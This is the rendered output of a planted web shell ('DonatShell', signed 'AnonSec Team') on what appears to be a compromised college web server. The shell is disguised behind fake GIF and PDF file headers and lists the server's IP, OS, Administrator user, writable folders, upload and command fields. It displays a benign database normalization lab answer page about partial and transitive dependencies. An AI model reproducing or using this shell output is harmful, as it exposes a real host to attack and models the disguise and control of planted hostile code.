GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/Database Design 2nd Edition pp72 q 5.htm
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">

<html>

<head>
<title>Lab 5, pb 7</title>

<meta http-equiv="Content-Language" content="en">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<STYLE TYPE="text/css">
<!--
body{font-family: Arial; font-size: 12pt;}
-->
</STYLE>

</head>

<body>

<p><img border="0" src="../images/lab5-7.gif"></p>

<ol type="a">

<li><b>Identify and discuss each of the dependencies indicated in above diagram.</b><p>
    <ul>
	<li>C1 <b><font face="Times New Roman, Times, serif">&rarr;</font></b> C2 represents a <i><font color=darkred>partial dependency</font></i>, 
	    because C2 depends only on C1, rather than on the entire primary key composed of C1 and C3.<p>
	<li>C4 <b><font face="Times New Roman, Times, serif">&rarr;</font></b> C5 represents a <i><font color=darkred>transitive dependency</font></i>, 
	    because C5 depends on an attribute (C4) that is not part of a primary key.<p>
	<li>C1, C3 <b><font face="Times New Roman, Times, serif">&rarr;</font></b> C2, C4, C5 represents a functional dependency, 
	    because C2, C4, and C5 depends on the primary key composed of C1 and C3.<p>
    </ul>
    <p>&nbsp;</p>
</li>

<li><b>Create a database whose tables are at least in 2NF, showing the dependency diagrams for each table.</b><p>
    <p><img border="0" src="../images/l5s7b.gif"></p>
    <p>&nbsp;</p>
</li>

<li><b>Create a database whose tables are at least in 3NF, showing the dependency diagrams for each table.</b><p>
    <p><img border="0" src="../images/l5s7c.gif"></p>
    <p>&nbsp;</p>
</li>

</ol>

</body>

</html>

Anon7 - 2022
AnonSec Team